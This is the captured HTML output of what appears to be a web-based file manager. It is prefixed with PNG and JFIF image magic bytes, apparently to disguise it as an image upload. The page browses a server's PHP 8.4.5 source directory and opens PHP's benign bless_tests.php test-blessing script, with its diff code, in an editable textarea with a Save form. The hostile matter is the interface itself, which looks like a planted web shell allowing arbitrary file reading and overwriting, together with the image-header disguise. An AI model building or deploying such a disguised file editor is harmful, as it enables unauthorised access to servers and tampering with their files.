�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2F'>scripts</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2Fdev%2F'>dev</a>/</p><hr><h3>✏️ Editing: bless_tests.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/env php
&lt;?php

if ($argc &lt; 2) {
    die(&quot;Usage: php bless_tests.php dir/\n&quot;);
}

$files = getFiles(array_slice($argv, 1));
foreach ($files as $path) {
    if (!preg_match(&#039;/^(.*)\.phpt$/&#039;, $path, $matches)) {
        // Not a phpt test
        continue;
    }

    $outPath = $matches[1] . &#039;.out&#039;;
    if (!file_exists($outPath)) {
        // Test did not fail
        continue;
    }

    $phpt = file_get_contents($path);
    $out = file_get_contents($outPath);

    if (false !== strpos($phpt, &#039;--XFAIL--&#039;)) {
        // Don&#039;t modify expected output of XFAIL tests
        continue;
    }

    // Don&#039;t update EXPECTREGEX tests
    if (!preg_match(&#039;/--EXPECT(F?)--(.*)$/s&#039;, $phpt, $matches)) {
        continue;
    }

    $oldExpect = trim($matches[2]);
    $isFormat = $matches[1] == &#039;F&#039;;
    if ($isFormat) {
        $out = generateMinimallyDifferingOutput($out, $oldExpect);
    } else {
        $out = normalizeOutput($out);
    }

    $phpt = insertOutput($phpt, $out);
    file_put_contents($path, $phpt);
}

function getFiles(array $dirsOrFiles): \Iterator {
    foreach ($dirsOrFiles as $dirOrFile) {
        if (is_dir($dirOrFile)) {
            $it = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($dirOrFile),
                RecursiveIteratorIterator::LEAVES_ONLY
            );
            foreach ($it as $file) {
                yield $file-&gt;getPathName();
            }
        } else if (is_file($dirOrFile)) {
            yield $dirOrFile;
        } else {
            die(&quot;$dirOrFile is not a directory or file\n&quot;);
        }
    }
}

function normalizeOutput(string $out): string {
    $out = preg_replace(&#039;/in (\/|[A-Z]:\\\\)\S+ on line \d+/m&#039;, &#039;in %s on line %d&#039;, $out);
    $out = preg_replace(&#039;/in (\/|[A-Z]:\\\\)\S+:\d+/m&#039;, &#039;in %s:%d&#039;, $out);
    $out = preg_replace(&#039;/\{closure:(\/|[A-Z]:\\\\)\S+:\d+\}/&#039;, &#039;{closure:%s:%d}&#039;, $out);
    $out = preg_replace(&#039;/object\(([A-Za-z0-9]*)\)#\d+/&#039;, &#039;object($1)#%d&#039;, $out);
    $out = preg_replace(&#039;/^#(\d+) (\/|[A-Z]:\\\\)\S+\(\d+\):/m&#039;, &#039;#$1 %s(%d):&#039;, $out);
    $out = preg_replace(&#039;/Resource id #\d+/&#039;, &#039;Resource id #%d&#039;, $out);
    $out = preg_replace(&#039;/resource\(\d+\) of type/&#039;, &#039;resource(%d) of type&#039;, $out);
    $out = preg_replace(
        &#039;/Resource ID#\d+ used as offset, casting to integer \(\d+\)/&#039;,
        &#039;Resource ID#%d used as offset, casting to integer (%d)&#039;,
        $out);
    $out = preg_replace(&#039;/string\(\d+\) &quot;([^&quot;]*%d)/&#039;, &#039;string(%d) &quot;$1&#039;, $out);
    $out = str_replace(&quot;\0&quot;, &#039;%0&#039;, $out);
    return $out;
}

function formatToRegex(string $format): string {
    $result = preg_quote($format, &#039;/&#039;);
    $result = str_replace(&#039;%e&#039;, &#039;\\&#039; . DIRECTORY_SEPARATOR, $result);
    $result = str_replace(&#039;%s&#039;, &#039;[^\r\n]+&#039;, $result);
    $result = str_replace(&#039;%S&#039;, &#039;[^\r\n]*&#039;, $result);
    $result = str_replace(&#039;%w&#039;, &#039;\s*&#039;, $result);
    $result = str_replace(&#039;%i&#039;, &#039;[+-]?\d+&#039;, $result);
    $result = str_replace(&#039;%d&#039;, &#039;\d+&#039;, $result);
    $result = str_replace(&#039;%x&#039;, &#039;[0-9a-fA-F]+&#039;, $result);
    $result = str_replace(&#039;%f&#039;, &#039;[+-]?\.?\d+\.?\d*(?:[Ee][+-]?\d+)?&#039;, $result);
    $result = str_replace(&#039;%c&#039;, &#039;.&#039;, $result);
    $result = str_replace(&#039;%0&#039;, &#039;\0&#039;, $result);
    return &quot;/^$result$/s&quot;;
}

function generateMinimallyDifferingOutput(string $out, string $oldExpect) {
    $outLines = explode(&quot;\n&quot;, $out);
    $oldExpectLines = explode(&quot;\n&quot;, $oldExpect);
    $differ = new Differ(function($oldExpect, $new) {
        if (strpos($oldExpect, &#039;%&#039;) === false) {
            return $oldExpect === $new;
        }
        return preg_match(formatToRegex($oldExpect), $new);
    });
    $diff = $differ-&gt;diff($oldExpectLines, $outLines);

    $result = [];
    foreach ($diff as $elem) {
        if ($elem-&gt;type == DiffElem::TYPE_KEEP) {
            $result[] = $elem-&gt;old;
        } else if ($elem-&gt;type == DiffElem::TYPE_ADD) {
            $result[] = normalizeOutput($elem-&gt;new);
        }
    }
    return implode(&quot;\n&quot;, $result);
}

function insertOutput(string $phpt, string $out): string {
    return preg_replace_callback(&#039;/--EXPECTF?--.*?(--CLEAN--|$)/sD&#039;, function($matches) use($out) {
        $hasWildcard = preg_match(&#039;/%[resSaAwidxfc0]/&#039;, $out);
        $F = $hasWildcard ? &#039;F&#039; : &#039;&#039;;
        return &quot;--EXPECT$F--\n&quot; . $out . &quot;\n&quot; . $matches[1];
    }, $phpt);
}

/**
 * Implementation of the the Myers diff algorithm.
 *
 * Myers, Eugene W. &quot;An O (ND) difference algorithm and its variations.&quot;
 * Algorithmica 1.1 (1986): 251-266.
 */

class DiffElem
{
    const TYPE_KEEP = 0;
    const TYPE_REMOVE = 1;
    const TYPE_ADD = 2;

    /** @var int One of the TYPE_* constants */
    public $type;
    /** @var mixed Is null for add operations */
    public $old;
    /** @var mixed Is null for remove operations */
    public $new;

    public function __construct(int $type, $old, $new) {
        $this-&gt;type = $type;
        $this-&gt;old = $old;
        $this-&gt;new = $new;
    }
}

class Differ
{
    private $isEqual;

    /**
     * Create differ over the given equality relation.
     *
     * @param callable $isEqual Equality relation with signature function($a, $b) : bool
     */
    public function __construct(callable $isEqual) {
        $this-&gt;isEqual = $isEqual;
    }

    /**
     * Calculate diff (edit script) from $old to $new.
     *
     * @param array $old Original array
     * @param array $new New array
     *
     * @return DiffElem[] Diff (edit script)
     */
    public function diff(array $old, array $new) {
        list($trace, $x, $y) = $this-&gt;calculateTrace($old, $new);
        return $this-&gt;extractDiff($trace, $x, $y, $old, $new);
    }

    private function calculateTrace(array $a, array $b) {
        $n = \count($a);
        $m = \count($b);
        $max = $n + $m;
        $v = [1 =&gt; 0];
        $trace = [];
        for ($d = 0; $d &lt;= $max; $d++) {
            $trace[] = $v;
            for ($k = -$d; $k &lt;= $d; $k += 2) {
                if ($k === -$d || ($k !== $d &amp;&amp; $v[$k-1] &lt; $v[$k+1])) {
                    $x = $v[$k+1];
                } else {
                    $x = $v[$k-1] + 1;
                }

                $y = $x - $k;
                while ($x &lt; $n &amp;&amp; $y &lt; $m &amp;&amp; ($this-&gt;isEqual)($a[$x], $b[$y])) {
                    $x++;
                    $y++;
                }

                $v[$k] = $x;
                if ($x &gt;= $n &amp;&amp; $y &gt;= $m) {
                    return [$trace, $x, $y];
                }
            }
        }
        throw new \Exception(&#039;Should not happen&#039;);
    }

    private function extractDiff(array $trace, int $x, int $y, array $a, array $b) {
        $result = [];
        for ($d = \count($trace) - 1; $d &gt;= 0; $d--) {
            $v = $trace[$d];
            $k = $x - $y;

            if ($k === -$d || ($k !== $d &amp;&amp; $v[$k-1] &lt; $v[$k+1])) {
                $prevK = $k + 1;
            } else {
                $prevK = $k - 1;
            }

            $prevX = $v[$prevK];
            $prevY = $prevX - $prevK;

            while ($x &gt; $prevX &amp;&amp; $y &gt; $prevY) {
                $result[] = new DiffElem(DiffElem::TYPE_KEEP, $a[$x-1], $b[$y-1]);
                $x--;
                $y--;
            }

            if ($d === 0) {
                break;
            }

            while ($x &gt; $prevX) {
                $result[] = new DiffElem(DiffElem::TYPE_REMOVE, $a[$x-1], null);
                $x--;
            }

            while ($y &gt; $prevY) {
                $result[] = new DiffElem(DiffElem::TYPE_ADD, null, $b[$y-1]);
                $y--;
            }
        }
        return array_reverse($result);
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2Fdev'>🔙 Back</a></p>